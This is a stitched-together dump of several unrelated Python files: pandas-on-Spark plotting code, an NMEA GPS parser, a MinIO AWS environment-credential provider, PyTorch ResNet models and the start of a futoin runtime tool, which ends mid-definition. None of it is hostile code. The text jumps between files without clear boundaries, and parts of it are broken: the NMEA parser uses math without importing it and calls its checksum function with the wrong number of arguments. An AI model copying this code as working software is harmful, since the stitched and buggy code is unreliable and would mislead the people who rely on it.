colname).between(lfence, ufence) # Creates a column to flag rows as outliers or not return data._psdf._internal.resolved_copy.spark_frame.withColumn( "__{}_outlier".format(colname), ~expression ) @staticmethod def calc_whiskers(colname, outliers): # Computes min and max values of non-outliers - the whiskers minmax = ( outliers.filter("not `__{}_outlier`".format(colname)) .agg(F.min("`%s`" % colname).alias("min"), F.max(colname).alias("max")) .toPandas() ) return minmax.iloc[0][["min", "max"]].values @staticmethod def get_fliers(colname, outliers, min_val): # Filters only the outliers, should "showfliers" be True fliers_df = outliers.filter("`__{}_outlier`".format(colname)) # If shows fliers, takes the top 1k with highest absolute values # Here we normalize the values by subtracting the minimum value from # each, and use absolute values. order_col = F.abs(F.col("`{}`".format(colname)) - min_val.item()) fliers = ( fliers_df.select(F.col("`{}`".format(colname))) .orderBy(order_col) .limit(1001) .toPandas()[colname] .values ) return fliers class KdePlotBase(NumericPlotBase): @staticmethod def prepare_kde_data(data): _, numeric_data = NumericPlotBase.prepare_numeric_data(data) return numeric_data @staticmethod def get_ind(sdf, ind): def calc_min_max(): if len(sdf.columns) > 1: min_col = F.least(*map(F.min, sdf)) max_col = F.greatest(*map(F.max, sdf)) else: min_col = F.min(sdf.columns[-1]) max_col = F.max(sdf.columns[-1]) return sdf.select(min_col, max_col).first() if ind is None: min_val, max_val = calc_min_max() sample_range = max_val - min_val ind = np.linspace( min_val - 0.5 * sample_range, max_val + 0.5 * sample_range, 1000, ) elif is_integer(ind): min_val, max_val = calc_min_max() sample_range = max_val - min_val ind = np.linspace( min_val - 0.5 * sample_range, max_val + 0.5 * sample_range, ind, ) return ind @staticmethod def compute_kde(sdf, bw_method=None, ind=None): # 'sdf' is a Spark DataFrame that selects one column. # Using RDD is slow so we might have to change it to Dataset based implementation # once Spark has that implementation. sample = sdf.rdd.map(lambda x: float(x[0])) kd = KernelDensity() kd.setSample(sample) assert isinstance(bw_method, (int, float)), "'bw_method' must be set as a scalar number." if bw_method is not None: # Match the bandwidth with Spark. kd.setBandwidth(float(bw_method)) return kd.estimate(list(map(float, ind))) class PandasOnSparkPlotAccessor(PandasObject): """ Series/Frames plotting accessor and method. Uses the backend specified by the option ``plotting.backend``. By default, plotly is used. Plotting methods can also be accessed by calling the accessor as a method with the ``kind`` argument: ``s.plot(kind='hist')`` is equivalent to ``s.plot.hist()`` """ pandas_plot_data_map = { "pie": TopNPlotBase().get_top_n, "bar": TopNPlotBase().get_top_n, "barh": TopNPlotBase().get_top_n, "scatter": TopNPlotBase().get_top_n, "area": SampledPlotBase().get_sampled, "line": SampledPlotBase().get_sampled, } _backends = {} # type: ignore[var-annotated] def __init__(self, data): self.data = data @staticmethod def _find_backend(backend): """ Find a pandas-on-Spark plotting backend """ try: return PandasOnSparkPlotAccessor._backends[backend] except KeyError: try: module = importlib.import_module(backend) except ImportError: # We re-raise later on. pass else: if hasattr(module, "plot") or hasattr(module, "plot_pandas_on_spark"): # Validate that the interface is implemented when the option # is set, rather than at plot time. PandasOnSparkPlotAccessor._backends[backend] = module return module raise ValueError( "Could not find plotting backend '{backend}'. Ensure that you've installed " "the package providing the '{backend}' entrypoint, or that the package has a " "top-level `.plot` method.".format(backend=backend) ) @staticmethod def _get_plot_backend(backend=None): backend = backend or get_option("plotting.backend") # Shortcut if backend in PandasOnSparkPlotAccessor._backends: return PandasOnSparkPlotAccessor._backends[backend] if backend == "matplotlib": # Because matplotlib is an optional dependency, # we need to attempt an import here to raise an ImportError if needed. try: # test if matplotlib can be imported import matplotlib # noqa: F401 from pyspark.pandas.plot import matplotlib as module except ImportError: raise ImportError( "matplotlib is required for plotting when the " "default backend 'matplotlib' is selected." ) from None PandasOnSparkPlotAccessor._backends["matplotlib"] = module elif backend == "plotly": try: # test if plotly can be imported import plotly # noqa: F401 from pyspark.pandas.plot import plotly as module except ImportError: raise ImportError( "plotly is required for plotting when the " "default backend 'plotly' is selected." ) from None PandasOnSparkPlotAccessor._backends["plotly"] = module else: module = PandasOnSparkPlotAccessor._find_backend(backend) PandasOnSparkPlotAccessor._backends[backend] = module return module def __call__(self, kind="line", backend=None, **kwargs): plot_backend = PandasOnSparkPlotAccessor._get_plot_backend(backend) plot_data = self.data kind = {"density": "kde"}.get(kind, kind) if hasattr(plot_backend, "plot_pandas_on_spark"): # use if there's pandas-on-Spark specific method. return plot_backend.plot_pandas_on_spark(plot_data, kind=kind, **kwargs) else: # fallback to use pandas' if not PandasOnSparkPlotAccessor.pandas_plot_data_map[kind]: raise NotImplementedError( "'%s' plot is not supported with '%s' plot " "backend yet." % (kind, plot_backend.__name__) ) plot_data = PandasOnSparkPlotAccessor.pandas_plot_data_map[kind](plot_data) return plot_backend.plot(plot_data, kind=kind, **kwargs) def line(self, x=None, y=None, **kwargs): """ Plot DataFrame/Series as lines. This function is useful to plot lines using Series's values as coordinates. Parameters ---------- x : int or str, optional Columns to use for the horizontal axis. Either the location or the label of the columns to be used. By default, it will use the DataFrame indices. y : int, str, or list of them, optional The values to be plotted. Either the location or the label of the columns to be used. By default, it will use the remaining DataFrame numeric columns. **kwds Keyword arguments to pass on to :meth:`Series.plot` or :meth:`DataFrame.plot`. Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). See Also -------- plotly.express.line : Plot y versus x as lines and/or markers (plotly). matplotlib.pyplot.plot : Plot y versus x as lines and/or markers (matplotlib). Examples -------- Basic plot. For Series: .. plotly:: >>> s = ps.Series([1, 3, 2]) >>> s.plot.line() # doctest: +SKIP For DataFrame: .. plotly:: The following example shows the populations for some animals over the years. >>> df = ps.DataFrame({'pig': [20, 18, 489, 675, 1776], ... 'horse': [4, 25, 281, 600, 1900]}, ... index=[1990, 1997, 2003, 2009, 2014]) >>> df.plot.line() # doctest: +SKIP .. plotly:: The following example shows the relationship between both populations. >>> df = ps.DataFrame({'pig': [20, 18, 489, 675, 1776], ... 'horse': [4, 25, 281, 600, 1900]}, ... index=[1990, 1997, 2003, 2009, 2014]) >>> df.plot.line(x='pig', y='horse') # doctest: +SKIP """ return self(kind="line", x=x, y=y, **kwargs) def bar(self, x=None, y=None, **kwds): """ Vertical bar plot. Parameters ---------- x : label or position, optional Allows plotting of one column versus another. If not specified, the index of the DataFrame is used. y : label or position, optional Allows plotting of one column versus another. If not specified, all numerical columns are used. **kwds : optional Additional keyword arguments are documented in :meth:`pyspark.pandas.Series.plot` or :meth:`pyspark.pandas.DataFrame.plot`. Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). Examples -------- Basic plot. For Series: .. plotly:: >>> s = ps.Series([1, 3, 2]) >>> s.plot.bar() # doctest: +SKIP For DataFrame: .. plotly:: >>> df = ps.DataFrame({'lab': ['A', 'B', 'C'], 'val': [10, 30, 20]}) >>> df.plot.bar(x='lab', y='val') # doctest: +SKIP Plot a whole dataframe to a bar plot. Each column is stacked with a distinct color along the horizontal axis. .. plotly:: >>> speed = [0.1, 17.5, 40, 48, 52, 69, 88] >>> lifespan = [2, 8, 70, 1.5, 25, 12, 28] >>> index = ['snail', 'pig', 'elephant', ... 'rabbit', 'giraffe', 'coyote', 'horse'] >>> df = ps.DataFrame({'speed': speed, ... 'lifespan': lifespan}, index=index) >>> df.plot.bar() # doctest: +SKIP Instead of stacking, the figure can be split by column with plotly APIs. .. plotly:: >>> from plotly.subplots import make_subplots >>> speed = [0.1, 17.5, 40, 48, 52, 69, 88] >>> lifespan = [2, 8, 70, 1.5, 25, 12, 28] >>> index = ['snail', 'pig', 'elephant', ... 'rabbit', 'giraffe', 'coyote', 'horse'] >>> df = ps.DataFrame({'speed': speed, ... 'lifespan': lifespan}, index=index) >>> fig = (make_subplots(rows=2, cols=1) ... .add_trace(df.plot.bar(y='speed').data[0], row=1, col=1) ... .add_trace(df.plot.bar(y='speed').data[0], row=1, col=1) ... .add_trace(df.plot.bar(y='lifespan').data[0], row=2, col=1)) >>> fig # doctest: +SKIP Plot a single column. .. plotly:: >>> speed = [0.1, 17.5, 40, 48, 52, 69, 88] >>> lifespan = [2, 8, 70, 1.5, 25, 12, 28] >>> index = ['snail', 'pig', 'elephant', ... 'rabbit', 'giraffe', 'coyote', 'horse'] >>> df = ps.DataFrame({'speed': speed, ... 'lifespan': lifespan}, index=index) >>> df.plot.bar(y='speed') # doctest: +SKIP Plot only selected categories for the DataFrame. .. plotly:: >>> speed = [0.1, 17.5, 40, 48, 52, 69, 88] >>> lifespan = [2, 8, 70, 1.5, 25, 12, 28] >>> index = ['snail', 'pig', 'elephant', ... 'rabbit', 'giraffe', 'coyote', 'horse'] >>> df = ps.DataFrame({'speed': speed, ... 'lifespan': lifespan}, index=index) >>> df.plot.bar(x='lifespan') # doctest: +SKIP """ from pyspark.pandas import DataFrame, Series if isinstance(self.data, Series): return self(kind="bar", **kwds) elif isinstance(self.data, DataFrame): return self(kind="bar", x=x, y=y, **kwds) def barh(self, x=None, y=None, **kwargs): """ Make a horizontal bar plot. A horizontal bar plot is a plot that presents quantitative data with rectangular bars with lengths proportional to the values that they represent. A bar plot shows comparisons among discrete categories. One axis of the plot shows the specific categories being compared, and the other axis represents a measured value. Parameters ---------- x : label or position, default DataFrame.index Column to be used for categories. y : label or position, default All numeric columns in dataframe Columns to be plotted from the DataFrame. **kwds Keyword arguments to pass on to :meth:`pyspark.pandas.DataFrame.plot` or :meth:`pyspark.pandas.Series.plot`. Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). See Also -------- plotly.express.bar : Plot a vertical bar plot using plotly. matplotlib.axes.Axes.bar : Plot a vertical bar plot using matplotlib. Examples -------- For Series: .. plotly:: >>> df = ps.DataFrame({'lab': ['A', 'B', 'C'], 'val': [10, 30, 20]}) >>> df.val.plot.barh() # doctest: +SKIP For DataFrame: .. plotly:: >>> df = ps.DataFrame({'lab': ['A', 'B', 'C'], 'val': [10, 30, 20]}) >>> df.plot.barh(x='lab', y='val') # doctest: +SKIP Plot a whole DataFrame to a horizontal bar plot .. plotly:: >>> speed = [0.1, 17.5, 40, 48, 52, 69, 88] >>> lifespan = [2, 8, 70, 1.5, 25, 12, 28] >>> index = ['snail', 'pig', 'elephant', ... 'rabbit', 'giraffe', 'coyote', 'horse'] >>> df = ps.DataFrame({'speed': speed, ... 'lifespan': lifespan}, index=index) >>> df.plot.barh() # doctest: +SKIP Plot a column of the DataFrame to a horizontal bar plot .. plotly:: >>> speed = [0.1, 17.5, 40, 48, 52, 69, 88] >>> lifespan = [2, 8, 70, 1.5, 25, 12, 28] >>> index = ['snail', 'pig', 'elephant', ... 'rabbit', 'giraffe', 'coyote', 'horse'] >>> df = ps.DataFrame({'speed': speed, ... 'lifespan': lifespan}, index=index) >>> df.plot.barh(y='speed') # doctest: +SKIP Plot DataFrame versus the desired column .. plotly:: >>> speed = [0.1, 17.5, 40, 48, 52, 69, 88] >>> lifespan = [2, 8, 70, 1.5, 25, 12, 28] >>> index = ['snail', 'pig', 'elephant', ... 'rabbit', 'giraffe', 'coyote', 'horse'] >>> df = ps.DataFrame({'speed': speed, ... 'lifespan': lifespan}, index=index) >>> df.plot.barh(x='lifespan') # doctest: +SKIP """ from pyspark.pandas import DataFrame, Series if isinstance(self.data, Series): return self(kind="barh", **kwargs) elif isinstance(self.data, DataFrame): return self(kind="barh", x=x, y=y, **kwargs) def box(self, **kwds): """ Make a box plot of the Series columns. Parameters ---------- **kwds : optional Additional keyword arguments are documented in :meth:`pyspark.pandas.Series.plot`. precision: scalar, default = 0.01 This argument is used by pandas-on-Spark to compute approximate statistics for building a boxplot. Use *smaller* values to get more precise statistics (matplotlib-only). Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). Notes ----- There are behavior differences between pandas-on-Spark and pandas. * pandas-on-Spark computes approximate statistics - expect differences between pandas and pandas-on-Spark boxplots, especially regarding 1st and 3rd quartiles. * The `whis` argument is only supported as a single number. * pandas-on-Spark doesn't support the following argument(s) (matplotlib-only). * `bootstrap` argument is not supported * `autorange` argument is not supported Examples -------- Draw a box plot from a DataFrame with four columns of randomly generated data. For Series: .. plotly:: >>> data = np.random.randn(25, 4) >>> df = ps.DataFrame(data, columns=list('ABCD')) >>> df['A'].plot.box() # doctest: +SKIP This is an unsupported function for DataFrame type """ from pyspark.pandas import DataFrame, Series if isinstance(self.data, Series): return self(kind="box", **kwds) elif isinstance(self.data, DataFrame): return unsupported_function(class_name="pd.DataFrame", method_name="box")() def hist(self, bins=10, **kwds): """ Draw one histogram of the DataFrame’s columns. A `histogram`_ is a representation of the distribution of data. This function calls :meth:`plotting.backend.plot`, on each series in the DataFrame, resulting in one histogram per column. .. _histogram: https://en.wikipedia.org/wiki/Histogram Parameters ---------- bins : integer or sequence, default 10 Number of histogram bins to be used. If an integer is given, bins + 1 bin edges are calculated and returned. If bins is a sequence, gives bin edges, including left edge of first bin and right edge of last bin. In this case, bins is returned unmodified. **kwds All other plotting keyword arguments to be passed to plotting backend. Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). Examples -------- Basic plot. For Series: .. plotly:: >>> s = ps.Series([1, 3, 2]) >>> s.plot.hist() # doctest: +SKIP For DataFrame: .. plotly:: >>> df = pd.DataFrame( ... np.random.randint(1, 7, 6000), ... columns=['one']) >>> df['two'] = df['one'] + np.random.randint(1, 7, 6000) >>> df = ps.from_pandas(df) >>> df.plot.hist(bins=12, alpha=0.5) # doctest: +SKIP """ return self(kind="hist", bins=bins, **kwds) def kde(self, bw_method=None, ind=None, **kwargs): """ Generate Kernel Density Estimate plot using Gaussian kernels. Parameters ---------- bw_method : scalar The method used to calculate the estimator bandwidth. See KernelDensity in PySpark for more information. ind : NumPy array or integer, optional Evaluation points for the estimated PDF. If None (default), 1000 equally spaced points are used. If `ind` is a NumPy array, the KDE is evaluated at the points passed. If `ind` is an integer, `ind` number of equally spaced points are used. **kwargs : optional Keyword arguments to pass on to :meth:`pandas-on-Spark.Series.plot`. Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). Examples -------- A scalar bandwidth should be specified. Using a small bandwidth value can lead to over-fitting, while using a large bandwidth value may result in under-fitting: .. plotly:: >>> s = ps.Series([1, 2, 2.5, 3, 3.5, 4, 5]) >>> s.plot.kde(bw_method=0.3) # doctest: +SKIP .. plotly:: >>> s = ps.Series([1, 2, 2.5, 3, 3.5, 4, 5]) >>> s.plot.kde(bw_method=3) # doctest: +SKIP The `ind` parameter determines the evaluation points for the plot of the estimated KDF: .. plotly:: >>> s = ps.Series([1, 2, 2.5, 3, 3.5, 4, 5]) >>> s.plot.kde(ind=[1, 2, 3, 4, 5], bw_method=0.3) # doctest: +SKIP For DataFrame, it works in the same way as Series: .. plotly:: >>> df = ps.DataFrame({ ... 'x': [1, 2, 2.5, 3, 3.5, 4, 5], ... 'y': [4, 4, 4.5, 5, 5.5, 6, 6], ... }) >>> df.plot.kde(bw_method=0.3) # doctest: +SKIP .. plotly:: >>> df = ps.DataFrame({ ... 'x': [1, 2, 2.5, 3, 3.5, 4, 5], ... 'y': [4, 4, 4.5, 5, 5.5, 6, 6], ... }) >>> df.plot.kde(bw_method=3) # doctest: +SKIP .. plotly:: >>> df = ps.DataFrame({ ... 'x': [1, 2, 2.5, 3, 3.5, 4, 5], ... 'y': [4, 4, 4.5, 5, 5.5, 6, 6], ... }) >>> df.plot.kde(ind=[1, 2, 3, 4, 5, 6], bw_method=0.3) # doctest: +SKIP """ return self(kind="kde", bw_method=bw_method, ind=ind, **kwargs) density = kde def area(self, x=None, y=None, **kwds): """ Draw a stacked area plot. An area plot displays quantitative data visually. This function wraps the plotly area function. Parameters ---------- x : label or position, optional Coordinates for the X axis. By default uses the index. y : label or position, optional Column to plot. By default uses all columns. stacked : bool, default True Area plots are stacked by default. Set to False to create a unstacked plot (matplotlib-only). **kwds : optional Additional keyword arguments are documented in :meth:`DataFrame.plot`. Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). Examples -------- For Series .. plotly:: >>> df = ps.DataFrame({ ... 'sales': [3, 2, 3, 9, 10, 6], ... 'signups': [5, 5, 6, 12, 14, 13], ... 'visits': [20, 42, 28, 62, 81, 50], ... }, index=pd.date_range(start='2018/01/01', end='2018/07/01', ... freq='M')) >>> df.sales.plot.area() # doctest: +SKIP For DataFrame .. plotly:: >>> df = ps.DataFrame({ ... 'sales': [3, 2, 3, 9, 10, 6], ... 'signups': [5, 5, 6, 12, 14, 13], ... 'visits': [20, 42, 28, 62, 81, 50], ... }, index=pd.date_range(start='2018/01/01', end='2018/07/01', ... freq='M')) >>> df.plot.area() # doctest: +SKIP """ from pyspark.pandas import DataFrame, Series if isinstance(self.data, Series): return self(kind="area", **kwds) elif isinstance(self.data, DataFrame): return self(kind="area", x=x, y=y, **kwds) def pie(self, **kwds): """ Generate a pie plot. A pie plot is a proportional representation of the numerical data in a column. This function wraps :meth:`plotly.express.pie` for the specified column. Parameters ---------- y : int or label, optional Label or position of the column to plot. If not provided, ``subplots=True`` argument must be passed (matplotlib-only). **kwds Keyword arguments to pass on to :meth:`pandas-on-Spark.Series.plot`. Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). Examples -------- For Series: .. plotly:: >>> df = ps.DataFrame({'mass': [0.330, 4.87, 5.97], ... 'radius': [2439.7, 6051.8, 6378.1]}, ... index=['Mercury', 'Venus', 'Earth']) >>> df.mass.plot.pie() # doctest: +SKIP For DataFrame: .. plotly:: >>> df = ps.DataFrame({'mass': [0.330, 4.87, 5.97], ... 'radius': [2439.7, 6051.8, 6378.1]}, ... index=['Mercury', 'Venus', 'Earth']) >>> df.plot.pie(y='mass') # doctest: +SKIP """ from pyspark.pandas import DataFrame, Series if isinstance(self.data, Series): return self(kind="pie", **kwds) else: # pandas will raise an error if y is None and subplots if not True if ( isinstance(self.data, DataFrame) and kwds.get("y", None) is None and not kwds.get("subplots", False) ): raise ValueError( "pie requires either y column or 'subplots=True' (matplotlib-only)" ) return self(kind="pie", **kwds) def scatter(self, x, y, **kwds): """ Create a scatter plot with varying marker point size and color. The coordinates of each point are defined by two dataframe columns and filled circles are used to represent each point. This kind of plot is useful to see complex correlations between two variables. Points could be for instance natural 2D coordinates like longitude and latitude in a map or, in general, any pair of metrics that can be plotted against each other. Parameters ---------- x : int or str The column name or column position to be used as horizontal coordinates for each point. y : int or str The column name or column position to be used as vertical coordinates for each point. s : scalar or array_like, optional (matplotlib-only). c : str, int or array_like, optional (matplotlib-only). **kwds: Optional Keyword arguments to pass on to :meth:`pyspark.pandas.DataFrame.plot`. Returns ------- :class:`plotly.graph_objs.Figure` Return an custom object when ``backend!=plotly``. Return an ndarray when ``subplots=True`` (matplotlib-only). See Also -------- plotly.express.scatter : Scatter plot using multiple input data formats (plotly). matplotlib.pyplot.scatter : Scatter plot using multiple input data formats (matplotlib). Examples -------- Let's see how to draw a scatter plot using coordinates from the values in a DataFrame's columns. .. plotly:: >>> df = ps.DataFrame([[5.1, 3.5, 0], [4.9, 3.0, 0], [7.0, 3.2, 1], ... [6.4, 3.2, 1], [5.9, 3.0, 2]], ... columns=['length', 'width', 'species']) >>> df.plot.scatter(x='length', y='width') # doctest: +SKIP And now with dark scheme: .. plotly:: >>> df = ps.DataFrame([[5.1, 3.5, 0], [4.9, 3.0, 0], [7.0, 3.2, 1], ... [6.4, 3.2, 1], [5.9, 3.0, 2]], ... columns=['length', 'width', 'species']) >>> fig = df.plot.scatter(x='length', y='width') >>> fig.update_layout(template="plotly_dark") # doctest: +SKIP """ return self(kind="scatter", x=x, y=y, **kwds) def hexbin(self, **kwds): return unsupported_function(class_name="pd.DataFrame", method_name="hexbin")() codysmithd/PyGPS1-10 ''' NMEA.py Defines NMEA sentence and other useful classes ''' class Point: ''' Point: Simple coordinate point Attributes: lat: Latutude (decimal) lng: Longitude (decimal) alt: Altitude (meters) ''' def __init__(self, lat=0, lng=0, alt=0): self.lat = lat self.lng = lng self.alt = alt def __str__(self): return '{0}, {1}, {2} meters'.format(self.lat, self.lng, self.alt) def getDistance(self, toPoint): ''' Gets the distance (in arbitrary units) to another point ''' return math.sqrt(math.pow((self.lat - toPoint.lat),2) + math.pow((self.lng - toPoint.lng),2)) class GGA : ''' NMEA GGA: fix data Attributes: time: String with UTC time lat: Latitude (decimal value) lng: Longitude (decimal value) fix_quality: 0 = Error (no fix) 1 = GPS fix (SPS) 2 = DGPS fix 3 = PPS fix 4 = Real Time Kinematic 5 = Float RTK 6 = estimated (dead reckoning) (2.3 feature) 7 = Manual input mode 8 = Simulation mode num_sats: number of satellites being tracked hdp: Horizontal dilution of position alt: Altitude, Meters, above mean sea level geoid_height: Height of geoid (mean sea level) above WGS84 ellipsoid checkum: message checksum valid: is this a valid or invalid message (based on complete data and checksum) ''' def __init__(self, inputString=''): s = inputString.split(',') if not len(s) == 15 or not s[0] == '$GPGGA': raise ValueError('Invalid input string for NMEA GGA object, given string was: ' + inputString) else: try: self.time = s[1] self.lat = float(s[2][:2]) + float(s[2][2:])/60 if(s[3] == 'S'): self.lat = -1 * self.lat self.lng = float(s[4][:3]) + float(s[4][3:])/60 if(s[5] == 'W'): self.lng = -1 * self.lng self.fix_quality = s[6] self.num_sats = int(s[7]) self.hdp = float(s[8]) self.alt = float(s[9]) self.geoid_height = float(s[11]) self.checksum = s[14] self.valid = _validateChecksum(inputString, self.checksum) except ValueError: if not len(self.time): self.time = '' if not hasattr(self, 'lat') or not self.lat: self.lat = 0.0 if not hasattr(self, 'lng') or not self.lng: self.lng = 0.0 if not hasattr(self, 'fix_quality') or not self.fix_quality: self.fix_quality = 0 if not hasattr(self, 'num_sats') or not self.num_sats: self.num_sats = 0 if not hasattr(self, 'hdp') or not self.hdp: self.hdp = 0.0 if not hasattr(self, 'alt') or not self.alt: self.alt = 0.0 if not hasattr(self, 'geoid_height') or not self.geoid_height: self.geoid_height = 0.0 if not hasattr(self, 'checksum') or not self.checksum: self.checksum = '' self.valid = False def getPoint(self): ''' Returns a Point version of itself ''' return Point(self.lat, self.lng, self.alt) def getNMEA(line): ''' Given a line of text, tries to make a NMEA object from it, or returns None. Args: line: NMEA sentence Returns: NMEA object if valid line (eg. GGA), None if not valid ''' if not line: return None else: s = line.split(',') if len(s) == 15 and s[0] == '$GPGGA': return GGA(line) else: return None def _validateChecksum(line): ''' Given a NMEA sentence line, validates the checksum Args: line: NMEA sentence Returns: True if valid, False otherwise ''' try: if line.index('$') == 0 and '*' in line: check_against = line[1:line.index('*')] checksum = int(line[line.index('*')+1:], 16) result = 0 for char in check_against: result = result ^ ord(char) return checksum == result except ValueError: return False # -*- coding: utf-8 -*- # MinIO Python Library for Amazon S3 Compatible Cloud Storage, (C) # 2020 MinIO, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os from .credentials import Provider, Value class EnvAWS(Provider): def __init__(self, retrieved=False): super(Provider, self).__init__() self.retrieved = retrieved def retrieve(self): self.retrieved = False access_key = os.environ.get('AWS_ACCESS_KEY_ID') if access_key == "": access_key = os.environ.get('AWS_ACCESS_KEY') secret = os.environ.get('AWS_SECRET_ACCESS_KEY') if secret == "": secret = os.environ.get('AWS_SECRET_KEY') self.retrieved = True return Value( access_key=access_key, secret_key=secret, session_token=os.environ.get('AWS_SESSION_TOKEN') ) def is_expired(self): return not self.retrieved # created by at Dec 4 15:22:58 CST 2021 # ResNet --jupyter version import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision import torchvision.transforms as transforms from config_training import config batch_size = config['batch_size'] #--------------------------------------------------------------------------------------------------# class ConvNet(nn.Module): def __init__(self, img_size): super(ConvNet, self).__init__() self.conv1 = nn.Conv2d(3, 32, 3) self.conv2 = nn.Conv2d(32, 64, 3) # nn.Sequential() self.relu = nn.ReLU() self.padding = nn.ZeroPad2d(1) self.fc1 = nn.Linear(4 * img_size * img_size, 128) self.fc2 = nn.Linear(128, 84) self.fc3 = nn.Linear(84, 4) self.flat = nn.Flatten(1) self.max_pool = nn.MaxPool2d(2) def forward(self, x): covlayer1 = self.max_pool(self.relu(self.conv1(self.padding(x)))) # size * size -> size/2 * size/2 covlayer2 = self.max_pool(self.relu(self.conv2(self.padding(covlayer1)))) # size/2 * size/2 -> size/4 * size/4 # x = torch.flatten(covlayer2, 1) # covlayer2.reshape(covlayer2.shape[0], -1) covlayer2 = self.flat(covlayer2) # print(covlayer2.shape) x = self.relu(self.fc1(covlayer2)) x = self.relu(self.fc2(x)) x = self.fc3(x) return x # CNN #--------------------------------------------------------------------------------------------------# class wasteModel_CNN(nn.Module): def __init__(self, img_size): super(wasteModel_CNN, self).__init__() self.conv1 = nn.Conv2d(3, 32, 3) self.conv2 = nn.Conv2d(32, 64, 3) # nn.Sequential() self.convC = nn.Conv2d(64, 128, 3) self.relu = nn.ReLU() self.zero_padding = nn.ZeroPad2d(1) self.miro_padding = nn.ReflectionPad2d(1) self.fc1 = nn.Linear(img_size*img_size*2, 1024) self.fc2 = nn.Linear(1024, 512) self.fc3 = nn.Linear(512, 4) self.flat = nn.Flatten(1) self.max_pool = nn.MaxPool2d(2) def forward(self, x): conv_layer1 = self.max_pool(self.relu(self.conv1(self.zero_padding(x)))) conv_layer2 = self.max_pool(self.relu(self.conv2(self.zero_padding(conv_layer1)))) conv_layer3 = self.max_pool(self.relu(self.convC(self.zero_padding(conv_layer2)))) conv_flat = self.flat(conv_layer3) # print(conv_flat.shape) fcl_rst = self.fc3(self.relu(self.fc2(self.relu(self.fc1(conv_flat))))) return fcl_rst # Resnet #--------------------------------------------------------------------------------------------------# class ResBlock(nn.Module): def __init__(self, inchannel, outchannel, stride=1): super(ResBlock, self).__init__() self.block = nn.Sequential( nn.Conv2d(inchannel, outchannel, kernel_size=3, stride=stride, padding=1, bias=False), nn.BatchNorm2d(outchannel), nn.ReLU(inplace=True), nn.Conv2d(outchannel, outchannel, kernel_size=3, stride=1, padding=1, bias=False), nn.BatchNorm2d(outchannel) ) self.shortcut = nn.Sequential() if stride != 1 or inchannel != outchannel: # shortcut, make sure the input and output size is matched self.shortcut = nn.Sequential( nn.Conv2d(inchannel, outchannel, kernel_size=1, stride=stride, bias=False), nn.BatchNorm2d(outchannel) ) def forward(self, X): body = self.block(X) # print(body.shape, self.shortcut(X).shape) body = body + self.shortcut(X) body = F.relu(body) return body class ResNet(nn.Module): def __init__(self, ResBlock, img_size=128, num_classes=4): super(ResNet, self).__init__() # img.shape = 1 here self.inchannel = 64 self.conv = nn.Sequential( nn.Conv2d(3, self.inchannel, kernel_size=3, stride=1, padding=1, bias=False), nn.BatchNorm2d(self.inchannel), nn.ReLU() ) # keep the original size self.layer1 = self.make_layer(ResBlock, 64, 2, stride=1) # keep size, input c = 64, out c = 128 self.layer2 = self.make_layer(ResBlock, 128, 2, stride=2)# be quarter size / 4, input c = 128, out c = 256 self.layer3 = self.make_layer(ResBlock, 256, 2, stride=2)# be quarter size / 4, input c = 256, out c = 512 self.layer4 = self.make_layer(ResBlock, 512, 2, stride=2)# be quarter size / 4, input c = 512, out c = 1024 # print(self.layer4) self.avgPool = nn.AvgPool2d(4) # / 16 # self.fc_pre = nn.Linear((img_size/8 * img_size/ 8)/16 * 1024, ___) # print(int(img_size*img_size/1024)) # self.fc = nn.Linear(256, num_classes) # img_size = 32 self.fc = nn.Linear(int(img_size*img_size*512/1024), num_classes) # 512 channels / (2^5 * 2^5) for each dimension def make_layer(self, block, channels, num_blocks, stride): strides = [stride] + [1] * (num_blocks - 1) layers = [] for stride in strides: layers.append(block(self.inchannel, channels, stride)) self.inchannel = channels return nn.Sequential(*layers) def forward(self, X): out = self.conv(X) # print("conv:", out.shape) out = self.layer1(out) # print("layer1:", out.shape) out = self.layer2(out) # print("layer2:", out.shape) out = self.layer3(out) # print("layer3:", out.shape) out = self.layer4(out) # print("layer4:", out.shape) out = self.avgPool(out) # print("avgPool:", out.shape) out = out.view(out.size(0), -1) # out = out.reshape(batch_size, -1) out = self.fc(out) return out # def Res18(): # return ResNet(ResBlock, num_classes=10) #--------------------------------------------------------------------------------------------------# __version_info__ = (2, 0, 8) __version__ = '.'.join(map(str, __version_info__)) __maintainer__ = '' __email__ = '' futoin/cid/runtimetool.py # # Copyright 2015-2020 <> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from .subtool import SubTool __all__ = ['RuntimeTool'] class RuntimeTool(SubTool): __slots__ = () DEFAULT_EXIT_TIMEOUT = 5000 def __init__(self, name): super(RuntimeTool, self).__init__(name) def onRun(self, config, svc, args): env = config['env'] self._executil.callInteractive([ env[self._name + 'Bin'], svc['path'] ] + args) def tuneDefaults(self, env): return { 'minMemory': '1M', 'connMemory': '1M', 'scalable': False, 'reloadable': False, 'multiCore': False, 